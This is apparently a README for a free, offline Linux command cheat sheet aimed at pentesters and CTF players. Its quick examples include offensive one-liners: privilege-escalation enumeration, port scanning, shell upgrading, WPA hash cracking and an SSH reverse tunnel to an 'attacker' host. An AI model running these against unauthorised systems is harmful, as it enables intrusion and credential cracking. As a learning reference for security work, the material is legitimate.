# Linux Command Reference for Cybersecurity — 361 Commands, Searchable and Offline 🐧🔐

**361 Linux commands every hacker needs — free, offline, open in any browser.** A searchable cheat sheet of Linux commands for penetration testing, CTFs, digital forensics, and system administration, with a real-world usage example for every command.

---

> *A complete command reference for cybersecurity professionals — from recon to privilege escalation, forensics to reverse engineering.*

---

## 🗂️ What's Inside

| Category | Commands | Focus |
|---|---|---|
| 📁 File & Directory | 25 | Navigation, search, attributes |
| 📝 Text & File Content | 26 | grep, awk, sed, strings, hex |
| 🔒 Permissions | 12 | chmod, sudo, ACLs, SUID |
| 👤 User Management | 16 | useradd, last, lastb, finger |
| ⚙️ Process Management | 26 | ps, strace, lsof, cron |
| 🌐 Networking | 52 | nmap, nc, tcpdump, aircrack |
| 🔐 Crypto & Hashing | 19 | hashcat, john, hydra, gpg |
| 🖥️ System Info | 32 | uname, env, journalctl |
| 📦 Package Management | 14 | apt, pip, gem, cargo |
| 💾 Disk & Filesystem | 15 | dd, shred, mount, forensics |
| 🐚 Shell & Scripting | 17 | bash, TTY upgrades, traps |
| 🗜️ Archives | 11 | tar, zip, 7z, rar |
| 🔗 Remote Access | 14 | ssh tunnels, tmux, rsync |
| 🔍 Forensics & Logs | 20 | gdb, radare2, volatility |
| ⬆️ Privilege Escalation (`PrivEsc`) | 16 | SUID, capabilities, PrivEsc |
| 🛠️ Misc Utilities | 46 | docker, kubectl, scripting |
| **Total** | **361** | |

Counts are taken from `data.js`.

---

## 📦 What You Get

```text
Linux_Commands/
├── index.html     ← open in any browser, works offline
├── styles.css     ← hacker terminal aesthetic
├── data.js        ← all 361 commands + real-world usage
└── app.js         ← search, filter, category pills
```

## ▶️ How to Use It

1. Download or clone the [other_codes repository](https://github.com/gcfernando/other_codes).
2. Open `Linux_Commands/index.html` in any modern browser — no installation, build step, or web server is needed.
3. Type in the search box or click a category to filter the commands.

To add or change a command, edit `data.js`: each entry is an array of `[command, category, description, usage]`, where the usage field may contain HTML such as `<code>` and `<br>`.

After editing `data.js`, run `node generate-static.cjs` in this folder and commit the updated `index.html`. The generator embeds the same command reference in the HTML so it remains readable without JavaScript; search and filtering still run in the browser. Run `node generate-static.cjs --check` to verify the embedded table is current. Node.js is only needed for maintenance, not for browsing the reference.

---

## ✨ Features

- 🔎 **Live search** — filter by command name, category, or usage
- 🏷️ **Category pills** — click to filter by topic instantly
- 💻 **Real-world usage** — every command has actual hacker examples
- 🌑 **Hacker terminal theme** — scanlines, phosphor green, grid
- 📴 **Offline** — no internet required after download (the page can optionally load Google Fonts when online)
- 🗂️ **Clean code** — HTML, CSS, and JS fully separated

---

## 🚀 Quick Examples

```bash
# Find all SUID binaries (privesc enum)
find / -perm -4000 -type f 2>/dev/null

# Full port scan + version + scripts
nmap -sV -sC -p- -T4 target -oA full_scan

# Upgrade dumb shell to full TTY
python3 -c 'import pty; pty.spawn("/bin/bash")'
Ctrl+Z → stty raw -echo; fg → export TERM=xterm

# Crack WPA handshake
hashcat -m 22000 wpa.hc22000 rockyou.txt

# SSH reverse tunnel through firewall
ssh -R 4444:localhost:4444 user@attacker

# Find Linux capabilities (stealthy root path)
getcap -r / 2>/dev/null
```

---

## ⚠️ Disclaimer

> This reference is for **educational purposes only**.
> Always practice in a **legal environment** you own or have explicit permission to test.
> Platforms: [TryHackMe](https://tryhackme.com) · [HackTheBox](https://hackthebox.com) · [OverTheWire](https://overthewire.org)

---

## 🧠 Who Is This For?

- Beginners learning Linux for cybersecurity
- CTF players who want a fast offline reference
- Pentesters doing recon and enumeration
- Security students preparing for OSCP / CEH / eJPT
- Anyone who keeps googling the same commands

---

## 🔗 Related

- [Developer tools and guides — repository overview](../README.md)
- [Python port scanner](https://github.com/gcfernando/python_codes/blob/main/Port%20Scanner/readme.md)
- [Git, Docker, and Podman command cheat sheets](https://github.com/gcfernando/document)

---

*Built with care. Shared for free. Use it well.* 🖤

```text
root@kali:~# ./gehan_hacker_bible --help
```

---

## Documentation links

[Read all Gehan's Project Lab guides online](https://gcfernando.github.io/other_codes/documentation/) · [Project overview](https://gcfernando.github.io/other_codes/) · [All developer projects](https://gcfernando.github.io/gcfernando/projects/)
